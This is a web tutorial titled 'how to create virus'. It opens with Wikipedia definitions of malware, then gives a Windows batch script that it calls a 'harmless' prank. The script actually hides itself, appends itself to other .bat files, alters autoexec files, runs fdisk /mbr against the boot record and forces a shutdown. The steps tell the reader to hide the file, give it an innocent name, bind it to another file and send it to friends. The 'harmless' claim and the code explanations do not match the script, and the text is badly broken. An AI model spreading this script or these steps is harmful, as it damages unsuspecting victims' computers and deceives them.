how to create virus

What Is A Virus?
A computer virus is a computer
program that can copy itself and
infect a computer. The term “virus”
is also commonly but erroneously
used to refer to other types of
malware, adware, and spyware
programs that do not have the
reproductive ability. A true virus can
only spread from one computer to
another (in some form of executable
code) when its host is taken to the
target computer; for instance
because a user sent it over a
network or the Internet, or carried it
on a removable medium such as a
floppy disk, CD, DVD, or USB drive.
Viruses can increase their chances
of spreading to other computers by
infecting files on a network file
system or a file system that is
accessed by another computer.
(Source Wikipedia)
As stated above, the term
“ computer virus” is sometimes
used as a catch-all phrase to include
all types of malware, adware, and
spyware programs that do not have
the reproductive ability. Malware
includes computer viruses, worms,
trojans, most rootkits, spyware,
dishonest adware, crimeware, and
other malicious and unwanted
software, including true viruses.
Viruses are sometimes confused
with computer worms and Trojan
horses, which are technically
different. A worm can exploit
security vulnerabilities to spread
itself automatically to other
computers through networks, while
a Trojan is a program that appears
harmless but hides malicious
functions. Worms and Trojans, like
viruses, may harm a computer
system ’s data or performance.
Some viruses and other malware
have symptoms noticeable to the
computer user, but many are
surreptitious and go unnoticed.
(Source Wikipedia)
Understand the following:
It ’s just a harmless “virus”.
It only prints some scary
messages and finally shuts
down the computer. As you
start it again, your computer
will work as it did before!
Read the virus: Below you
see the Computer-Code that
is executed as you start the
virus. The lines that start
with REM are comments that
the computer ignores. The
explain you what the above
line does.
@echo off
title %0
rem conditional check.
echo welcome to this wonderful
program! please wait while I delete
all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r
+s +h c:\tmp.bat echo for %%i in
(*.bat) do copy c:\tmp.bat+%%i %%
i >>c:\windows
\system32\autoexec.NT
echo echo virus detected! >>c:
\windows\system32\autoexec.NT
echo pause >>c:\windows
\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:
\autoexec.bat
echo echo system hault-virus
identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e
a v i r u s, n o w u r l i f e i s n o t b
e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has
shut down because the lsass service
has incountered a write fault at
0×00000000000000000000000000
000000000 ″
Code Details
@echo off
color 1a (Changes the colour)
echo (Displays a text)
echo: (leaves a line)
ping -n 2 127.0.0.1>nul (pings your
localhost – nothing much)
shutdown.exe (shutdown)
Preparing the Virus
1. Read and understand the
warnings!
2. Open up Notepad in
Windows. You can do this by
navigating to Start >
Programs > Accessories >
Notepad, or simply by
entering notepad under Start
> Run.
3. Copy and Paste the Code of
the “virus” into Notepad
4. Click File -> Save as
5. Decide for a location to save
the fake-virus. You should
chose a location where the
user won ’t find the file, so
saving it on the desktop
would be a bad idea!
6. Change “.txt” to “All files” in
the file type drop-down menu
7. Chose a harmless filename.
Replace the “.txt” at the with
“.bat”
8. Click on save and close
Notepad.
Now We Have Completed Making
The Virus And Now We Must Bind
The Virus With Any Other File
Read- How To Bind Two Files
Together?[TUT]
And After Binding The File Then Just
Sent This File To Your Friends.